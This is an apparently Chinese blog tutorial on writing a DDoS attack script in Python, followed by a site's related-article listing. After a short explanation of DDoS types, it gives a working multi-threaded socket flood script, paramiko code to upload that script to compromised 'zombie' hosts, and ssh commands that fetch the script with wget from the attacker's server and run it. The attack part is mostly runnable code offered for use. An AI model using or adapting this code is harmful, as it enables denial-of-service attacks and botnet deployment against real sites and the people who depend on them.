python编写DDoS攻击脚本
python编写DDoS攻击脚本
一、什么是DDoS攻击
DDoS攻击就是分布式的拒绝服务攻击,DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,随着计算机与网络技术的发展,DoS攻击的困难程度加大了。于是就产生了DDoS攻击,它的原理就很简单:计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用,那么DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
二、DDoS分类
作为目前最强大、最难防御的攻击之一,DDos攻击主要分为两种。
- 以力取胜:海量的数据包从互联网各个角落蜂拥而来,堵塞IDC入口,典型的为ICMP Flood和UDP Flood(消耗带宽)。
- 以巧取胜:主要是利用协议或者软件的漏洞发起,如Slowloris攻击,hash冲突。(协议攻击)
- 混合:上述两种混合,即利用协议、系统的缺陷,又具备海量的资源,如SYN Flood攻击,DNS Query Flood攻击。
三、编写DDoS攻击脚本
- 编写DDoS攻击脚本,原理是使用
socket
连接到目标网站,并发送大量http请求,从而耗尽受攻击网站资源:
import socket
import time
import threading
MAX_CONN = 100 # 设置连接的数量
PORT = 80 # 设置端口号
HOST = "10.16.53.180" # 设置IP地址
PAGE = "/DVWA"
buf = ("GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
"Content-Length: 1000000000\r\n"
"\r\n" % (PAGE, HOST)) # HTTP请求
socks = []
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(bytes(buf, encoding='utf-8')) # 发送HTTP请求
print("[+] Send buf OK!,conn=%d" % i)
socks.append(s)
except Exception as ex:
print("[-] Could not connect to server or send error:%s" % ex)
time.sleep(2)
def send_thread():
global socks
for i in range(10):
for s in socks:
try:
s.send(bytes("ddos", encoding='utf-8')) # ddos攻击
print("[+] send OK!")
except Exception as ex:
print("[-] send Exception:%s" % ex)
socks.remove(s)
s.close()
time.sleep(1)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
- 连接到“傀儡机”,也就是我们常说的“肉鸡”,通过ssh进行连接,并将ddos脚本上传到“肉鸡”,方式有许多种,这里介绍两种。
- 直接通过python的
paramiko
模块上传文件到远端:
import paramiko
t = paramiko.Transport(("IP地址",22))
t.connect(username = "用户名", password = "密码")
sftp = paramiko.SFTPClient.from_transport(t)
remotepath='/home/ddos.py'
localpath='D:\ddos\ddos.py'
sftp.put(localpath,remotepath)
t.close()
- 在本地开启apache服务,向远端发送
wget http://10.16.14.171/ddos.py -O ddos.py
指令,下载apache服务器目录下的ddos.py脚本:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.16.66.71', 22, '用户名', '密码')
stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')
上述两种办法适用于Windows平台,想在linux平台上实现,可以使用
pexpect
模块实现ssh连接。
- 运行脚本:
stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')
运行效果如图:
github地址:https://github.com/Chenmengx/DDos
python编写DDoS攻击脚本的更多相关文章
- 防范DDOS攻击脚本
防范DDOS攻击脚本 #防止SYN攻击 轻量级预防 iptables -N syn-flood iptables -A INPUT -p tcp --syn -j syn-flood iptables ...
- python编写文件统计脚本
python编写文件统计脚本 思路:用os模块中的一些函数(os.listdir().os.path.isdir().os.path.join().os.path.abspath()等) 实现功能:显 ...
- python编写定时执行脚本
前几天在抓博客园文章,打算每天抓10条最新的,所以就在脚本中加了定时让它在每天凌晨四点中时执行,但是昨天发现,报错了: 显示是远程主机强制关闭了一个链接, 原因是:mysql数据库默认当连续8小时不对 ...
- DDOS攻击脚本
import sysimport osimport timeimport socketimport random#Code Timefrom datetime import datetimenow = ...
- Python编写abaqus后处理脚本(学习笔记)
本节内容参考自书籍<Python语言在Abaqus中的应用>,注意:以下代码为伪代码,仅供参考 1.导入必要的模块,加载后处理odb文件 from abaqus import * from ...
- iptables防DDOS攻击和CC攻击设置
防范DDOS攻击脚本 #防止SYN攻击 轻量级预防 iptables -N syn-flood iptables -A INPUT -p tcp --syn -j syn-flood iptables ...
- 使用DDOS deflate抵御少量DDOS攻击
DDoS-Deflate是一款非常小巧的防御和减轻DDoS攻击的工具,它可以通过监测netstat来跟踪来创建大量互联网连接的IP地址信息,通过APF或IPTABLES禁止或阻档这些非常IP地址. 工 ...
- iptables防DDOS攻击和CC攻击配置
防范DDOS攻击脚本 #防止SYN攻击 轻量级预防 iptables -N syn-flood iptables -A INPUT -p tcp –syn -j syn-flood iptables ...
- 防DDOS攻击SHELL脚本
最近一段时间服务器频繁遭到DDOS攻击,目前只能通过封IP来源来暂时解决.IP不源变化多端,光靠手工来添加简直是恶梦,想了个方法,用SHELL来做. 比较简单,但很实用:) 以下内容根据作者原文进行适 ...
随机推荐
- Java知识复习(四)
最近准备跳槽,又要好好复习基本知识了.过了个年,前面刚接触的springboot也只能先放放了.就先把自己复习了哪些罗列出来吧. Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用== ...
- 使⽤Swagger2构建强⼤的RESTful API⽂档
使⽤Swagger2构建强⼤的RESTful API⽂档 导语: 由于Spring Boot能够快速开发.便捷部署等特性,相信有很⼤⼀部分Spring Boot的⽤户会⽤来构建RESTful API. ...
- 使用pdb进行Python调试
调试应用有时是一个不受欢迎的工作,当你长期编码之后,只希望写的代码顺利运行.但是,很多情况下,我们需要学习一个新的语言功能或者实验检测新的方法,从而去理解其中运行的机制原理. 即使不考虑这样的场景,调 ...
- Jquery手机点击其他地方隐藏控件问题
因为不太懂mui的底部导航栏的操作,所以自己写了用很普通的方法实现手机底部导航栏,遇到了很多问题.比如:要实现点击底部菜单栏上某一个菜单,显示子菜单,然后点击手机空白处,隐藏菜单. 实现方法是: // ...
- Gym 100008E Harmonious Matrices 高斯消元
POJ 1222 高斯消元更稳 看这个就懂了 #include <bits/stdc++.h> using namespace std; const int maxn = 2000; in ...
- GPU 高性能计算
背景 近日忽然想到,在CPU类型的服务器即使给到足够的运算资源,与GPU类型的服务器做运算来讲仍然是相差甚远,而本人有一台闲置的AMD vega8集显的电脑.想要用来做计算,来探究其与CPU运算的差别 ...
- 小程序开发 access_token 统一管理
TOKEN 定时刷新器 一.背景 对于使用过公众平台的API功能的开发者来说,access_token绝对不会陌生,它就像一个打开家门的钥匙,只要拿着它,就能使用公众平台绝大部分的API功能.因此,对 ...
- 学习django的日子
bilibii这个网站是个学习者网站,里面有很多学习视频
- 7 shell 数学运算
shell中数学运算的易错点: 1.在 Bash Shell 中,如果不特别指明,每一个变量的值都是字符串,无论你给变量赋值时有没有使用引号,值都会以字符串的形式存储.即使是将整数和小数赋值给变量,它 ...
- ubuntu16.04上编译android的可执行文件并调用本地so库
前言: 找了蛮多资料的,发现目前实现的编译方式大致就两种,一种是直接使用android源码中的编译工具链,另一种就是使用独立的交叉编译工具链,第二种我还在实现中,配置步骤挺多的 ,第一种实现方式挺方便 ...